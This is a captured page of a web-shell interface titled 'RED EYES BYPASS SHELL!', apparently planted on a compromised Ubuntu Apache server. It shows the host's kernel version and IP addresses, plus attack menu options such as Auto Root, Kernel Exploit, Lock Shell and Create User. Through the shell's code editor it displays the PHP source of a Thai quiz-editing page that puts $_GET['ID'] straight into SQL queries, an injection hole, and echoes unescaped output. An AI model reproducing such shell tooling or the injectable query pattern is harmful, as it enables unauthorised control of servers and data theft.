Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
work_181165 /
page /
FormtestEdit /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
index.css
4.89
KB
-rwxr-xr-x
index.js
1.64
KB
-rwxr-xr-x
index.php
13.1
KB
-rwxr-xr-x
index_db.php
2.78
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php require_once("page/nav.php") ?> <?php require_once("page/sidebar.php") ?> <link rel="stylesheet" href="page/FormtestEdit/index.css"> <?php $result = $db->query("SELECT * FROM questions WHERE couse = ".$_GET["ID"]); $count = 0; foreach($result as $row){ $count++; } if (!empty($_GET["ID"]) && $_GET["ID"] !== "") { ?> <div class="container-fluid p-0 m-0"> <div class="body-content"> <div class="d-flex justify-content-center"> <div id="bd-2" > <div class="setting-list"> <div class="_item active" id="toggle-f1"> <span onclick="getAllQuestions()">แบบทดสอบ</span> </div> <div class="_item" id="toggle-f2"> <span>ตั้งค่า</span> </div> </div> <div id="f-1" class="container"> <form id="form-test" action="page/FormtestEdit/index_db.php" method="post" class="form-test" enctype="multipart/form-data"> <div class="test-list"> <?php $res = $db->query("SELECT * FROM questions WHERE couse = ".$_GET["ID"]); foreach($res as $row){ ?> <div class="test" id="question_number" data-id="<?php echo $row["no_question"] ?>"> <div class="inp-frame"> <?php if($row["question_img"] !== null){ ?> <img src="<?php echo $row["question_img"] ?>" alt="" id="img-preview" class="img-preview"> <?php } ?> <input type="text" placeholder="คำถาม" name="questions_[<?php echo $row["couse"] ?>][<?php echo $row["no_question"] ?>][name]" data-id="<?php echo $row["no_question"] ?>" value="<?php echo $row["question_text"] ?>"> <input type="file" name="question_img[<?php echo $row["couse"] ?>][<?php echo $row["no_question"] ?>][file]" data-id="<?php echo $row["no_question"] ?>" id="file" class="inputfile" /> </div> <div id="my_list" data-id="<?php echo $row["no_question"] ?>"> <?php $count_question = 0; $res2 = $db->query("SELECT * FROM choices WHERE no_question = ".$row["no_question"]." and no_couse = ".$_GET["ID"]); foreach($res2 as $row2){ $count_question++; ?> <div class="role" data-id="<?php echo $row2["no_question"] ?>" data-unit="<?php echo $row2["no_choice"] ?>"> <div class="form-check" data-id="<?php echo $row2["no_question"] ?>" data-unit="<?php echo $row2["no_choice"] ?>"> <input data-bs-toggle="tooltip" data-bs-placement="left" title="คำตอบ" class="form-check-input" type="radio" name="question[<?php echo $row["couse"] ?>][<?php echo $row["no_question"] ?>][answer]" data-id="<?php echo $row2["no_question"] ?>" data-unit="<?php echo $row2["no_question"] ?>" id="answer" value="<?php echo $count_question; ?>" <?php // check answer // SELECT * FROM `answers` WHERE `couse` LIKE '1' AND `no_question` LIKE '1' $res3 = $db->query("SELECT * FROM answers WHERE couse = ".$_GET["ID"]." AND no_question = ".$row["no_question"]); foreach($res3 as $row3){ if($row3["answers_true"] == $row2["no_choice"]){ echo "checked"; } } ?> > <input class="radio-input form-control" placeholder="คำตอบ" id="question" name="question[<?php echo $row["couse"] ?>][<?php echo $row["no_question"] ?>][question][<?php echo $count_question; ?>]" type="text" data-id="<?php echo $row2["no_question"] ?>" data-unit="<?php echo $row2["no_choice"] ?>" value="<?php echo $row2["choice_text"] ?>"> <button type="button" class="delete-inp" onclick="removeChoice('<?php echo $row['no_question'] ?>' , '<?php echo $row2['no_choice'] ?>' )"> <i class="fa-solid fa-xmark"></i> </button> </div> </div> <?php } ?> </div> <div class="form-check" onclick="addChoice('<?php echo $row['couse'] ?>','<?php echo $row['no_question'] ?>')"> <input class="form-check-input" type="radio" disabled> <button type="button" class="form-check-label btn-add-inp" data-unit="<?php echo $row2["no_choice"]+1 ?>"> เพิ่มตัวเลือก </button> </div> </div> <?php } ?> </div> <div class="tool"> <button id="return-btn"><i class="fa-solid fa-arrow-left"></i> กลับ</button> <ul> <li onclick="addQuestions('<?php echo $row['couse'] ?? $_GET['ID'];?>')" data-bs-toggle="tooltip" data-bs-placement="top" title="เพิ่มคำถาม"> <button type="button" class="btn-clear" id="sub-test"> <i class="fa-solid fa-circle-plus"></i> </button> </li> </ul> </div> <div class="d-grid gap-2 col-6 mx-auto"> <input type="hidden" id="couse_id" name="couse_id" value="<?php echo $_GET["ID"];?>" /> <input type="hidden" id="questions_count" name="questions_count" value="0" /> <input type="hidden" id="choices_max" name="choices_max" value="0" /> <button class="btn btn-primary" type="submit">บันทึก</button> </div> </form> </div> <div id="f-2" class="container" style="display: none;"> <div class="set-div"> <div class="head-set"> <span>การตั้งค่า</span> </div> <div class="set-list"> <div class="list"> <div class="left"> <p>แสดงคำตอบ</p> <span class="text-muted">โชว์คำตอบหลังทำข้อสอบเสร็จ</span> </div> <div class="right"> <div class="form-check form-switch"> <input id="show-answer" class="form-check-input" type="checkbox" id="flexSwitchCheckDefault"> </div> </div> </div> <div class="list"> <div class="left"> <p> ผ่านเกณฑ์คะแนน (1 ข้อต่อ 1 คะแนน)</p> <span class="text-muted">ต้องได้คะแนนอย่างน้อย</span> </div> <div class="right"> <select id="point-pass" class="form-select form-control form-select-sm"> <option value="1">1 คะแนน</option> </select> </div> </div> </div> </div> </div> </div> </div> </div> </div> <button class="btn-upper"> <i class="fa-solid fa-chevron-up"></i> </button> <script> //function add role in inp-frame var choices_max = 0; var choices_count = 0; function addChoice(couse_id,id) { var id = id; var single = "'" var unit = $(".role[data-id='" + id + "']"); if(!unit[unit.length-1]){ var unit = 0; }else{ /* if(!unit[unit.length-1]){ var unit = 1; }else{ */ var unit = unit[unit.length-1].getAttribute('data-unit'); } unit++; var html = '<div class="role" data-id="' + id + '" data-unit="' + unit + '">'+ '<div class="form-check" data-id="' + id + '" data-unit="' + unit + '">'+ '<input data-bs-toggle="tooltip" data-bs-placement="left" title="" class="form-check-input" type="radio" name="answers_'+id+'_'+unit+'" data-id="' + id + '" data-unit="' + unit + '" value="' + unit + '" data-bs-original-title="คำตอบ" aria-label="คำตอบ">'+ '<input class="radio-input form-control" placeholder="คำตอบ" id="question" name="choices_'+id+'_'+unit+'" type="text" data-id="' + id + '" data-unit="' + unit + '">'+ /* '<input data-bs-toggle="tooltip" data-bs-placement="left" title="" class="form-check-input" type="radio" name="question[' + couse_id + '][' + id + '][answer]" data-id="' + id + '" data-unit="' + unit + '" value="' + unit + '" data-bs-original-title="คำตอบ" aria-label="คำตอบ">'+ '<input class="radio-input form-control" placeholder="คำตอบ" id="question" name="question[' + couse_id + '][' + id + '][question][' + unit + ']" type="text" data-id="' + id + '" data-unit="' + unit + '">'+ */ '<button type="button" class="delete-inp" onclick="removeChoice('+single+id+single+' , '+single+unit+single+' )">'+ '<i class="fa-solid fa-xmark"></i>'+ '</button>'+ '</div>'+ '</div>'; $("#my_list[data-id='" + id + "']").append(html); if(unit==1){ choices_count = 1; }else{ choices_count++; } if(choices_count>choices_max){ choices_max++; document.getElementById("choices_max").value = choices_max; } /* console.log('choices_count = '+choices_count+', choices_max = '+choices_max); */ } function removeChoice(id, unit) { var id = id; var unit = unit; $("#my_list[data-id='" + id + "'] .role[data-unit='" + unit + "']").remove(); } var questions_count = 0; function addQuestions(couse_id) { var unit =document.getElementsByClassName("test"); console.log(unit); if(!unit[unit.length-1]){ var unit = 0; }else{ /* if(!unit[unit.length-1]){ var unit = 1; }else{ */ var unit = unit[unit.length-1].getAttribute('data-id'); } unit++; var html = '<div class="test" id="question_number" data-id="'+unit+'">'+ '<div class="inp-frame">'+ '<input type="text" placeholder="คำถาม" name="questions_'+unit+'" data-id="'+unit+'">'+ '<input type="file" name="question_img['+couse_id+']['+unit+'][file]" data-id="'+unit+'" id="file" class="inputfile" />'+ /* '<input type="text" placeholder="คำถาม" name="question['+couse_id+']['+unit+'][name]" data-id="'+unit+'">'+ */ '</div>'+ '<div id="my_list" data-id="'+unit+'">'+ '</div>'+ '<div class="form-check" onclick="addChoice('+couse_id+','+unit+')">'+ '<input class="form-check-input" type="radio" disabled="">'+ '<button type="button" class="form-check-label btn-add-inp" data-unit="1">เพิ่มตัวเลือก</button>'+ '</div>'+ '</div>'; $(".test-list").append(html); questions_count++; document.getElementById("questions_count").value = questions_count; } </script> <?php } ?> <script src="http://www.youtube.com/player_api"></script> <script src="assets/main.js" type="text/javascript"></script> <script src="assets/APIConnect.js" type="text/javascript"></script> <script src="page/FormtestEdit/index.js" type="text/javascript"></script> <script> AOS.init(); var tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]')) var tooltipList = tooltipTriggerList.map(function(tooltipTriggerEl) { return new bootstrap.Tooltip(tooltipTriggerEl) }) </script>
Close